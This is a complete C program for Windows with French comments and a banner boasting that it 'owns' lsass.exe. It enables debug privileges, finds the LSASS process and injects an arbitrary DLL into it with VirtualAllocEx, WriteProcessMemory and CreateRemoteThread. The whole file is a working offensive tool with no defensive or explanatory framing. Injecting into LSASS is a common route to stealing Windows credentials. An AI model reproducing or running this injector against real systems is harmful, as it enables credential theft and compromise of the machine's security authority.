#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#define USAGE "./%s <fullPathDll>"

long NomProcessusToPid(char* process);
int InjectDllDansProcessus(long pidProcAInjecter , char* fullPathDll);
int SetDebugPrivileges();

int main(int argc,char* argv[])
{
    printf("s4mmy ownz lsass.exe par 0vercl0k\n\n");
    if(!argv[1]){printf(USAGE,argv[0]);return 0;}
    SetDebugPrivileges();
    if(InjectDllDansProcessus(NomProcessusToPid("lsass.exe"),argv[1]))
    {
        printf("[+]Dll injected.");
    }

    return 0;
}

long NomProcessusToPid(char* process)
{
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 structprocsnapshot = {0};

    structprocsnapshot.dwSize = sizeof(PROCESSENTRY32);

    if(snapshot == INVALID_HANDLE_VALUE)return 0;
    if(Process32First(snapshot,&structprocsnapshot) == FALSE)return 0;

    while(Process32Next(snapshot,&structprocsnapshot) )
    {
       if(!strcmp(structprocsnapshot.szExeFile,process))
       {
            CloseHandle(snapshot);
            return structprocsnapshot.th32ProcessID;
       }
    }
    CloseHandle(snapshot);
    return 0;
}

int InjectDllDansProcessus(long pidProcAInjecter , char* fullPathDll)
{
    long tailleStringDll = strlen(fullPathDll) + 1;

    printf("[+] Ouverture du process.\n");

    HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE , pidProcAInjecter);// OpenProcess -> http://msdn2.microsoft.com/en-us/library/ms684320.aspx.
    if(handleProcess == NULL)return 0;

    printf("[+] Reservation et écriture dans la mémoire du processus.\n");
    LPVOID addrEspaceReserve = VirtualAllocEx( handleProcess , NULL , tailleStringDll , MEM_COMMIT , PAGE_EXECUTE_READWRITE); // VirtualAllocEx -> http://msdn2.microsoft.com/en-us/library/aa366890.aspx.
    if(addrEspaceReserve == NULL)
        return 0;

    int retourFonctionWrite = WriteProcessMemory( handleProcess , addrEspaceReserve , fullPathDll , tailleStringDll , 0); // WriteProcessMemory() -> http://msdn2.microsoft.com/en-us/library/ms681674.aspx.
    if(retourFonctionWrite == 0)
        return 0;

    printf("[+] Creation du thread dans le processus.\n");
    DWORD identificateurThread ;
    LPTHREAD_START_ROUTINE addrLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32"),"LoadLibraryA"); // GetProcAddress() -> http://msdn2.microsoft.com/en-us/library/ms683212.aspx. LodLibrary() ->
    HANDLE retourFonctionCreate = CreateRemoteThread( handleProcess , NULL , 0 , addrLoadLibrary , addrEspaceReserve , 0 , &identificateurThread ); // CreateRemoteThread() -> http://msdn2.microsoft.com/en-us/library/ms682437.aspx.
    if(retourFonctionCreate == NULL)
        return 0;

    WaitForSingleObject(retourFonctionCreate,INFINITE); //WaitForSingleObject() -> http://msdn2.microsoft.com/en-us/library/ms687032.aspx.
    VirtualFreeEx( handleProcess , addrEspaceReserve , 0 , MEM_DECOMMIT); //VirtualFreeEx() -> http://msdn2.microsoft.com/en-us/library/aa366894.aspx

    CloseHandle(handleProcess);
    CloseHandle(retourFonctionCreate);


    return 1;
}

int SetDebugPrivileges()
{
    TOKEN_PRIVILEGES privilege;
    HANDLE processCourant = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()) , jetonproc;

    OpenProcessToken(processCourant, TOKEN_ALL_ACCESS, &jetonproc);
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &privilege.Privileges[0].Luid);

    privilege.PrivilegeCount = 1;
    privilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(jetonproc, FALSE, &privilege, 0, NULL, NULL);

    CloseHandle(jetonproc);
    CloseHandle(processCourant);
}